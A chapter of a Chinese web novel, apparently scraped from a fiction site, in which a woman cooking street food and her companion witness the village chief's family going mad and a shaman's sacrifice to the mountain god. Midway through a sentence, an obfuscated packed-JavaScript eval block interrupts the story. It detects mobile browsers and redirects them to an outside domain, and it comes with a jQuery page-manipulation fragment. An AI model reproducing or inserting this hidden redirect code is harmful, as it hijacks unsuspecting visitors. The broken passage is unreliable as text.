16. 祭祀山神
作品:《路边的夫君不要捡(美食)》 天罚?
徐子烈被问的一头雾水。
什么跟什么啊?
但他看见卫菱往院子里走,赶紧拎着锅跟了进去。
“真的,真的是我花钱买的!”
徐子烈站在卫菱旁边,滔滔不绝地给她介绍。
“你怎么不信我呢,我早上去黑市买的!”
“真的!”
“黑市里不常见的东西贵得很,这种常见的普通物件都不需要花银子,我用早上从牙缝里省得豆腐渣丸子换的。”
黑市?
卫菱停下脚步。她怎么不知道还有黑市。
“我现在肚子还在叫呢!”
似乎是为了验证徐子烈话语里的真实性,他的肚子在话音还没落的时候就发出咕噜噜的蜂鸣声。
卫菱半信半疑,瞟了徐子烈一眼后,从他手里拿过那口锅,仔细端详。
上好的工艺,外表甚至刻着花纹。
卫菱弹了一下锅体,声音沉闷短促,不似青铜那样清亮悠长,极有可能是合金制品。
还真是赚大发了!
卫菱惊喜地看向徐子烈,“黑市在哪?能带我去吗?”
“你以为黑市是你家开的,想去就去啊?”
当!
卫菱气得锤了徐子烈一拳。这男人小肚鸡肠,还阴阳怪气的!有话不能好好说啊!
卫菱刚来刘家村的时候,得了村长照拂。明日的祭祀大典,于情于理,她都得参加。
这样一来,明天就不能出摊了。
卫菱掀开炉灶便的桶盖,里边的猪骨表皮都呈现微微透明的状态,熬出的汤也没那么浓的肉香了。
“又是一笔钱啊!”
做生意靠得就是口口相传的信誉,没有口碑,卫菱这摊子根本在集市立不住脚跟。
看来明天从黑市回来,得去刘屠户那买些材料了。
卫菱边想着,边扭过身子从橱柜里舀出些红面出来。
麦粉得留着包馄饨,在家还是能不吃就别吃了。
萝卜都被她串起来,挂在院里晒干呢。
既如此,便用猪骨汤做红面疙瘩算了。
“老猫猴子来了!”
“老猫猴子来了!”
卫菱跟徐子烈二人正抱着碗在吃桌边吃饭呢,就听见村长夫人的嚎叫的声音。
“我去看看。”
徐子烈跟卫菱对视一眼,放下手里的东西准备打开门观望一下外边的情况。
“我跟你一起。”
卫菱躲在他身后,朝门口走。
村长夫人的声音太过凄惨,是以,徐子烈只把门打开一丝缝隙。
卫菱贴在他身后,手紧紧攥着他的胳膊。
“什么情况?”
徐子烈人高马大,卫菱看不见情况,又怕门外不太平,只好压低声音,小声询问。
此时,天已擦黑,视野受限。
徐子烈从门缝往左往右看了一圈,既没看见村长夫人,也没看见她口中说的老猫猴子。
他摇摇头,刚想说话,就瞧见卫菱的脑袋正绕过他的手臂,伸着脖子想透过门缝往外看。
他用没扶着门的那只手,摁住卫菱的脑袋往回推。
“吃饭吧。”
徐子烈把卫菱抓着他胳膊的手拂下去,刚要回身关门,一个巴掌哒地拍到了他撬开的门上。
随即,门缝处挤着一张脸。
“老猫猴子来了,老猫猴子来了!”
“啊!”
卫菱被突然出现的存在夫人吓了一大跳。
她尖叫着往徐子烈的身后躲。
徐子烈也被吓得不轻。
但他的手劲一直没松。所幸缝隙不大,也就将将一根手指宽。
徐子烈用力一摁,门立马就合了起来。
“把门栓扣上。”
他双手都推着们,对着身后的卫菱喊道。
“哦,好。”
虽然害怕,但卫菱也没傻站着。徐子烈说完,她便按他说得做了。
门都关上了,村长夫人还拍了几下门。
卫菱跟徐子烈靠在门板上都能感受到震动。
过了一会儿,外边变得平静下来。
卫菱扯了下徐子烈的袖子,“她走了吗?”
不知道。
徐子烈摇摇头。
又过了一阵,徐子烈侧过身,把耳朵贴在门上,确认没有听见声音后,他把卫菱拽到身后,轻手轻脚地挪开门栓,撬开了一道缝。
“走了。”
徐子烈把门关好,又仔细检查几遍,确认安全后,他拉着卫菱回到石桌。
“难不成,村长家真是天罚?”
卫菱用手顺着胸口。
被这么一吓,她都怀疑自己白天的猜测是错的。
谁家蘑菇中毒这么疯狂啊!
卫菱往碗里多夹了些腌菜。
她要压压惊。
还没吃几口,就听见村里又传来尖叫声,其中还混杂着村长夫人的叫喊声。
“也不知道李嫂子那边什么情况。”
卫菱嘀咕了声。
“别想那么多了。”
徐子烈揉了把卫菱的头。
村长夫人疯疯癫癫的,满村跑。目前尚不知道村长家其他人是个什么情况,徐子烈不放心卫菱自己在家,不可能帮她去瞧瞧李寡妇的。
况且,天已经黑了,他一个大男人也不方便去。
刘家村整晚都鸡飞狗跳的,卫菱和徐子烈都没睡踏实。
卫菱硬生生等到鸡鸣才敢起身洗漱。
听徐子烈的描述,黑市除了用钱币进行贸易,应该是还能以物换物,甚至吃食也能用去交换。
院子里的绳子上,就剩下一丁点的肉了。
卫菱踩着凳子,把它们全取了下来。
舍不得孩子,套不着狼。
麦粉加盐用温水搅拌成絮状,加入少许的猪油,揉成光滑面团,盖上湿布醒发。
趁着这段时间,将黄绿色的芥菜洗干净后挤干水分,切碎。热锅加猪油,倒入酸菜碎翻炒,炒干水汽。
猪肉剁成馅后,混入姜末,再用酱清和盐调味,用筷子按照一个方向搅拌上劲。
往肉泥里拌入刚才炒好的酸菜。
卫菱偷瞄不远处劈柴的徐子烈,趁他不注意,往肉馅里加了一点点芝麻油。
醒好的面团分成大小均匀的剂子,擀成中间厚边缘薄的圆皮。
卫菱将面皮放到手心,舀了勺馅料后,用手捏住边缘,大拇指和其他四指推捏,收口后用手掌请压,挤成扁扁的形状。
徐子烈又嗅到了那股香味。
油香油香的。
不似猪油的那般厚重,是一种清新中有醇厚的独特香气。
他嗅着风中的味道转头,就见厨房里卫菱正在忙活的身影。
他刚想放下斧头过去,就想到了上次被卫菱呵斥的场景。
徐子烈又用力吸了几下鼻子。
味道浅得快闻不见了。
也不知道到底是什么好东西。
徐子烈咂咂嘴,继续劈柴。
锅里浅浅铺了一层猪油,融化后,卫菱用手按在馅饼上,在锅里转了一圈,把猪油在锅里均匀地涂了一圈。
小火煎至表皮金黄后,卫菱用锅铲翻个面,继续煎。
“巳时三刻,河边基合。”
人喊一声,锣响三声。
卫菱听清内容后,加快了手上的动作。
她现在也相信村长家受天罚的事了。这祭祀大典,她可不想迟到。
芥菜制作的酸菜,其酸味的主要是来自于乳酸菌的发酵。但这份酸并不是所有人都能接
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569228|170322||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
受的。
是以,卫菱特意把酸芥菜多用清水投洗了几遍。
剩下的猪肉,肥的多瘦的少。
酸菜的酸恰好中和掉了肥肉的腻感。
熟了的酸菜保留了纤维感,咬到时的脆感与软糯的肉馅形成鲜明对比。尽管肉极少,菜极多。
吃完饭,卫菱把剩余的馅饼分成三份。
她、徐子烈的午饭单独用苇叶包出来。
剩余的,一张一张地分开用苇叶包起来,方便在黑市能用去交换。
村里人都知道徐子烈的存在,但卫菱心里隐隐不安,跟他商量了一下,还是决定让他留下看家。
卫菱赶到河边的时候,还没到巳时。
此刻村里的人大多都来了,人头攒动,卫菱踮起脚望了一圈也没看见李寡妇的身影。
队伍排到了卫菱。她把手心里攥着的十个铜币交给了登记的大叔。
跟村里其他人比起来,卫菱这笔可谓是巨款了。
她五个,徐子烈五个。
钱多,求山神也多多保佑她们。
“阿菱。”
李寡妇不知道从哪里窜出来,拉着她往前挤。
河边,村长一家都被绑在架子上。
每个人的嘴里都塞着一块布。
村长夫人都被绑得严严实实了,还在试图挣扎着扭动身体。
巫医穿着黑熊皮,吹着骨笛,坐在正中间。额前悬的玉琮随他的动作叮当碰撞,发出清脆的声响。
在巫医的面前还有一口巨大的青铜鼎。里边烈火熊熊,不知道在焚烧着什么。
滚滚黑烟升起,巫医的脸都变得看不清楚。
卫菱觉得眼前的景象有些瘆人,她觉得她手臂都起鸡皮疙瘩了,后背也觉得凉嗖嗖的。
巫医的身后,站着两个同样穿着黑熊皮的男子。他们手里拿着动物骨头做成的鼓槌,鼓槌上还系着红色的丝带。
笛声停下,巫医站起身,踏着禹步,举起一把捆好的蓍草,用青铜鼎里的火引燃后,高高举起。
“献~牲~”
伴随着高昂的鼓声,鬃毛粗硬的黑猪被四个人合力抬了上来。猪身上被用红色的朱砂画满了奇奇怪怪的符号。
刘屠户腰上也系着红绳。在巫医的示意下,他往嘴里含了一口酒,噗地喷洒在屠刀的两面。
铜刀刺穿喉管,血滴进了祭坛周围的雷纹陶罐里。
巫医拎起陶罐,用手指蘸着血,在村长家的每个人额头上都画了符咒。
“求山神息怒,赦去天罚。”
他高呼一声后,跪在地上冲着山林的方向扣头。
底下的村民立马学着他的样子照做。
随后,巫医又挨个掰开村长一家的嘴灌进了某种神秘液体。
他口中念叨着咒语,在烈烈的鼓声中,听不真切。
“yue~”
村长家的儿媳妇忽然吐了。
“山神显灵了!”
“山神显灵了!”
巫医又跪下磕头。
卫菱也跟着村民们,一起学着他的动作。
渐渐地,村长一家都呕吐起来。
吐着,吐着。
最先呕吐的村长家儿媳妇恢复了神智。
“放开我,放开我!”
巫医注意到她的情况,并没做声。
直到村长一家所有人都清醒过来,他才抬起双臂。
“松~绑~”
“巫医!”
“巫医!”
“巫医!”
村民们真臂高呼。
巫医伸手举到头顶,沸腾的呼声瞬间便安静下来。
就在卫菱以为他要说些什么的时候,巫医分别看了两个徒弟一眼,三个人一同从祭台上走了下来。
人群自动分成两边,簇拥着巫医离去。